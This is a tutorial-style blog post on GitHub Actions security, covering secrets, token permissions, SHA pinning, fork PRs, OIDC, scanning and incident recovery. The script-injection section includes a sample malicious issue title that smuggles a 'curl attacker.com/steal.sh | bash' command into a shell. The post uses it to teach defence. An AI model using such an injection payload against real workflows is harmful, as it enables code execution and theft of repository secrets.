GitHub Actions: Security Best Practices

Your GitHub Actions workflows have access to your secrets, your code, and your deployment pipelines. Here's how to lock them down before someone else does.

I once watched a security researcher compromise a major open-source project through a GitHub Actions workflow. The attack was elegant—a malicious PR that looked innocent enough passed review, and when CI ran, it exfiltrated every secret in the repository. The maintainers didn’t notice for three days.

That experience changed how I think about Actions security. Most of us treat workflows as trusted code, but they run in an environment where a single misconfiguration can expose everything. In this second part of my GitHub Actions series, let’s talk about security—the real kind, not the checkbox compliance theater.

Secrets Management: The Foundation

Let’s start with secrets, because they’re usually the first thing attackers target. GitHub offers three levels of secrets, and understanding when to use each matters.

Repository secrets are the most common. They’re accessible to any workflow in that repo. Fine for most cases, but if your repo gets compromised, those secrets are gone.

Environment secrets are tied to specific deployment environments. You can require approvals before workflows access them—meaning a malicious workflow can’t just grab your production AWS keys without human intervention.

Organization secrets are shared across repos. Convenient for large orgs, but also a bigger blast radius if something goes wrong.

Here’s a pattern I’ve landed on: keep production secrets in environments with required reviewers. Everything else can be repository-level.

jobs:
  deploy-production:
    runs-on: ubuntu-latest
    environment:
      name: production
      url: https://example.com
    steps:
      - name: Deploy
        env:
          AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }}
        run: ./deploy.sh

The environment: production line is the key. If you’ve configured the production environment to require approvals, this job won’t run until someone clicks the button. That’s a meaningful security boundary.

The Principle of Least Privilege: GITHUB_TOKEN

Every workflow gets a GITHUB_TOKEN automatically. By default, it has write access to your repository. That’s way more than most workflows need.

Since 2021, you can restrict this at the workflow or job level. Do it.

permissions:
  contents: read
  pull-requests: write

jobs:
  lint:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm run lint

Start with the minimum and add permissions only when things break. If your workflow just runs tests, it needs contents: read and nothing else. If it posts PR comments, add pull-requests: write. Building and pushing Docker images? packages: write.

You can also set a default at the top of the workflow and override per-job:

permissions:
  contents: read

jobs:
  test:
    runs-on: ubuntu-latest
    # inherits contents: read
    steps: [...]

  release:
    runs-on: ubuntu-latest
    permissions:
      contents: write  # needs to create releases
    steps: [...]

One gotcha: if you don’t specify permissions at all, you get the repository’s default (often write-all). Explicitly declare permissions even if you’re just setting contents: read—it documents your intent and protects against future default changes.

Pinning Actions: SHA vs Tags

Here’s something that keeps me up at night: when you use actions/checkout@v4, you’re trusting that “v4” still points to the same code it did yesterday. Tags are mutable. Someone with write access to that repo can move the tag to point to malicious code, and your next workflow run will execute it.

This isn’t theoretical. It’s happened.

The secure approach is pinning to a specific commit SHA:

# Vulnerable: tag can be moved
- uses: actions/checkout@v4

# Better: pinned to specific commit
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

Yes, it’s ugly. Yes, it’s harder to maintain. But it means an attacker would need to actually compromise that specific commit, not just move a tag.

The comment after the SHA is a convention—it tells humans what version you intended. Some tools like Dependabot and Renovate understand this and can update the SHA while preserving the comment.

For first-party GitHub actions (actions/*), the risk is lower since GitHub controls those repos. But for anything third-party? Pin to SHA. Always.

Script Injection: The Attack Most People Miss

This one catches people off guard. When you interpolate GitHub context directly into a shell script, you’re opening a door for injection attacks.

Here’s vulnerable code:

- name: Greet
  run: |
    echo "Hello ${{ github.event.issue.title }}"

If someone creates an issue titled "; curl attacker.com/steal.sh | bash; ", your workflow will execute that command. The attacker controls the title, and you’re putting it directly into a shell context.

The fix is using environment variables instead of direct interpolation:

- name: Greet
  env:
    ISSUE_TITLE: ${{ github.event.issue.title }}
  run: |
    echo "Hello $ISSUE_TITLE"

With env variables, the shell treats the value as data, not code. The attacker’s payload becomes a harmless string.

This applies to anything user-controllable: issue titles and bodies, PR titles, commit messages, branch names, usernames. If it comes from outside your control, treat it as hostile.

The same vulnerability exists with github.event.comment.body, github.event.pull_request.body, and basically any field an attacker could influence. I’ve seen production workflows vulnerable to this—it’s shockingly common.

Pull Request Security: The Fork Problem

Here’s the scenario that should terrify you: someone forks your public repo, adds a malicious workflow or modifies the existing one, and opens a PR. If your CI runs automatically on fork PRs, their code executes with access to your secrets.

GitHub’s default behavior has gotten better over the years, but you still need to think about this.

First, understand the triggers:

# This runs on the PR HEAD (fork's code) - dangerous for forks
on:
  pull_request:

# This runs on the merge result - slightly safer but still risky
on:
  pull_request_target:

pull_request runs the workflow from the fork’s branch. The fork doesn’t get access to secrets by default, but it’s still running attacker-controlled code on your infrastructure.

pull_request_target runs the workflow from the base branch (your repo), but has access to secrets. If you checkout the PR code and run it, you’ve just given the attacker your secrets.

The safest patterns:

  1. Don’t run workflows on fork PRs automatically. Require a maintainer to approve first:
on:
  pull_request:
    types: [opened, synchronize]

jobs:
  test:
    runs-on: ubuntu-latest
    # This job requires approval for first-time contributors
    if: github.event.pull_request.author_association != 'FIRST_TIME_CONTRIBUTOR'
  1. Never checkout PR code in pull_request_target workflows. If you must, do it in an isolated job with no secrets.

  2. Use environment protections that require manual approval before fork PRs can access sensitive resources.

OpenID Connect: The Death of Long-Lived Credentials

Storing AWS keys or GCP service account credentials as GitHub secrets always felt wrong to me. They’re long-lived, they’re shared across workflow runs, and if they leak, you might not know for weeks.

OIDC (OpenID Connect) is the answer. Instead of static credentials, your workflow proves its identity to your cloud provider, which issues short-lived tokens on the fly.

Here’s what a secure AWS deployment looks like with OIDC:

permissions:
  id-token: write   # Required for OIDC
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Configure AWS credentials
        uses: aws-actions/configure-aws-credentials@e3dd6a429d7300a6a4c196c26e071d42e0343502 # v4.0.2
        with:
          role-to-assume: arn:aws:iam::123456789:role/github-actions-deploy
          aws-region: us-east-1

      - name: Deploy
        run: aws s3 sync ./dist s3://my-bucket

No AWS keys stored anywhere. The workflow gets temporary credentials that expire in an hour. Even if someone steals the token mid-workflow, it’s useless after the job ends.

The setup on the AWS side involves creating an IAM role with a trust policy that only allows your specific repo and branch:

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "Federated": "arn:aws:iam::123456789:oidc-provider/token.actions.githubusercontent.com"
      },
      "Action": "sts:AssumeRoleWithWebIdentity",
      "Condition": {
        "StringEquals": {
          "token.actions.githubusercontent.com:aud": "sts.amazonaws.com"
        },
        "StringLike": {
          "token.actions.githubusercontent.com:sub": "repo:myorg/myrepo:environment:production"
        }
      }
    }
  ]
}

That sub condition is critical—it restricts which repo, branch, or environment can assume the role. Without it, any GitHub Actions workflow could claim to be you.

GCP, Azure, and other major cloud providers support this same pattern. If you’re still using static credentials, migrating to OIDC should be near the top of your security backlog.

Dependency Review and Supply Chain Security

Your workflows depend on actions, which depend on npm packages, which depend on other packages… You see where this is going. Supply chain attacks are real, and your CI pipeline is a juicy target.

GitHub’s dependency review action catches known vulnerabilities before they merge:

on:
  pull_request:

jobs:
  dependency-review:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
      - uses: actions/dependency-review-action@3b139cfc5fae8b618d3eae3571e89f4f69d1f5e6 # v4.3.4
        with:
          fail-on-severity: high

This fails the check if a PR introduces dependencies with high-severity vulnerabilities. It’s not perfect—it only catches known issues—but it’s a meaningful layer.

For scanning PRs for accidentally committed secrets, GitHub’s built-in secret scanning is good, but you can add extra layers:

on:
  pull_request:

jobs:
  secret-scan:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
        with:
          fetch-depth: 0  # Full history for scanning

      - name: Scan for secrets
        uses: trufflesecurity/trufflehog@main
        with:
          extra_args: --only-verified

TruffleHog and similar tools scan the git history, not just the current state. They’ll catch that AWS key someone committed three commits ago and then “removed” (spoiler: it’s still in the history).

Validating Third-Party Actions

Before using any third-party action, I run through a checklist:

  1. Who maintains it? Is it an individual, a company, or the community? How responsive are they to security issues?

  2. How active is it? When was the last commit? Are issues being addressed? Abandoned actions are security liabilities.

  3. What permissions does it need? Read the action.yml. If a linting action needs write access to your code, that’s a red flag.

  4. What does the code do? Actually read it. Most actions are small enough to audit in a few minutes.

Here’s a workflow pattern for validating actions before they’re used in your org:

name: Action Allowlist Check

on:
  pull_request:
    paths:
      - '.github/workflows/**'

jobs:
  check-actions:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

      - name: Check for unapproved actions
        run: |
          ALLOWED_OWNERS="actions github aws-actions docker"

          for workflow in .github/workflows/*.yml; do
            actions=$(grep -oE 'uses: [^@]+' "$workflow" | sed 's/uses: //' | sort -u)
            for action in $actions; do
              owner=$(echo "$action" | cut -d'/' -f1)
              if ! echo "$ALLOWED_OWNERS" | grep -qw "$owner"; then
                echo "::error::Unapproved action owner: $action in $workflow"
                exit 1
              fi
            done
          done
          echo "All actions are from approved owners"

This is a simple version—production implementations would have a proper allowlist file and handle edge cases better. But the principle stands: don’t let random actions into your workflows without review.

Protected Environments and Deployment Gates

Environment protection rules are one of GitHub’s most underused security features. You can require:

  • Manual approval before jobs run
  • Specific reviewers or teams
  • Wait timers (useful for staged rollouts)
  • Branch restrictions (only deploy from main)

Here’s how I typically configure a production environment:

  1. Go to repo Settings → Environments → production
  2. Add required reviewers (your security team, senior devs)
  3. Enable “Prevent self-review” so PR authors can’t approve their own deployments
  4. Restrict to protected branches only
  5. Add a wait timer if you want a window to catch issues

Then in your workflow:

jobs:
  deploy-staging:
    runs-on: ubuntu-latest
    environment: staging
    steps: [...]

  deploy-production:
    needs: deploy-staging
    runs-on: ubuntu-latest
    environment: production  # Requires approval
    steps: [...]

The production job simply won’t run until someone approves it. That human checkpoint catches a surprising number of issues—both security and operational.

Audit Logging: Knowing What Happened

When something goes wrong, you need to know what happened. GitHub provides audit logs for organization-level events, and you can access workflow run details through the API.

For serious monitoring, you’ll want to ship these logs somewhere you can query them. Here’s a pattern for logging workflow activity:

on:
  workflow_run:
    workflows: ["*"]
    types: [completed]

jobs:
  audit:
    runs-on: ubuntu-latest
    steps:
      - name: Log workflow run
        env:
          WORKFLOW_NAME: ${{ github.event.workflow_run.name }}
          CONCLUSION: ${{ github.event.workflow_run.conclusion }}
          ACTOR: ${{ github.event.workflow_run.actor.login }}
          RUN_URL: ${{ github.event.workflow_run.html_url }}
        run: |
          curl -X POST "${{ secrets.LOGGING_ENDPOINT }}" \
            -H "Content-Type: application/json" \
            -d "{
              \"workflow\": \"$WORKFLOW_NAME\",
              \"conclusion\": \"$CONCLUSION\",
              \"actor\": \"$ACTOR\",
              \"url\": \"$RUN_URL\",
              \"timestamp\": \"$(date -u +%Y-%m-%dT%H:%M:%SZ)\"
            }"

This gives you a timeline of who ran what and whether it succeeded. When you’re investigating an incident, having this data is invaluable.

For detecting anomalies, look for patterns like:

  • Workflows triggered by users who don’t normally trigger them
  • Successful deploys outside business hours
  • Sudden increase in workflow runs
  • Workflows accessing environments they don’t usually access

Branch Protection That Actually Works

Branch protection rules are your last line of defense against mistakes and attacks. Here’s what a properly configured main branch looks like:

  1. Require pull request reviews before merging. At least one, preferably two.
  2. Dismiss stale reviews when new commits are pushed. Otherwise, someone could approve a benign PR, then push malicious code.
  3. Require status checks to pass. All your security scans, tests, and lints.
  4. Require branches to be up to date before merging. Prevents “sneak in while CI is green on old code” attacks.
  5. Require signed commits if your team uses GPG signing.
  6. Restrict who can push to the branch. Even admins shouldn’t be able to force-push to main.

Here’s the thing most people miss: branch protection doesn’t help if your required status checks are bypassable. Make sure your security scans are required, not optional. Make sure they actually fail when they should.

Recovering From a Compromised Secret

It happens. Someone commits an API key. A workflow logs a secret by accident. An attacker exfiltrates credentials. What now?

First, rotate the secret immediately. Don’t wait to investigate—assume it’s compromised and act.

# AWS: Generate new access keys
aws iam create-access-key --user-name github-actions

# Then delete the old one
aws iam delete-access-key --user-name github-actions --access-key-id AKIAOLDKEY

Second, update the secret in GitHub. The old value is burned.

Third, audit what the compromised secret had access to. Check cloud provider logs for unusual activity during the exposure window. This is where OIDC helps—if you’re using short-lived tokens, the blast radius is much smaller.

Fourth, figure out how it happened and fix the root cause. Was it a logging statement that accidentally expanded a secret? A workflow that exposed secrets to fork PRs? A dependency that uploaded environment variables somewhere?

Finally, document the incident. What was exposed, for how long, what you found in the audit, and what you changed to prevent it happening again. This documentation is valuable for compliance and for learning.

Putting It All Together

Security isn’t a feature you add—it’s a property of how you build things. Here’s a checklist for securing your GitHub Actions workflows:

  • Secrets are scoped appropriately (environment secrets for production)
  • GITHUB_TOKEN permissions are explicitly minimal
  • All third-party actions are pinned to SHA
  • User input is never interpolated directly into shell commands
  • Fork PR workflows don’t have access to secrets
  • OIDC is used instead of long-lived cloud credentials
  • Dependency review runs on all PRs
  • Secret scanning is enabled
  • Third-party actions are vetted before use
  • Production environments require approval
  • Branch protection rules are comprehensive
  • Audit logging is in place

None of this is exotic. It’s just discipline—making secure choices the default rather than the exception.

The attacks I’ve seen succeed against GitHub Actions workflows weren’t sophisticated. They exploited lazy defaults, missing permissions restrictions, and the assumption that CI is a trusted environment. It isn’t. Treat your workflows with the same suspicion you’d treat any code that handles credentials and deploys to production.

Because that’s exactly what they are.

Next up in this series: advanced triggers and events—going beyond push and pull_request to unlock the full power of GitHub’s event system.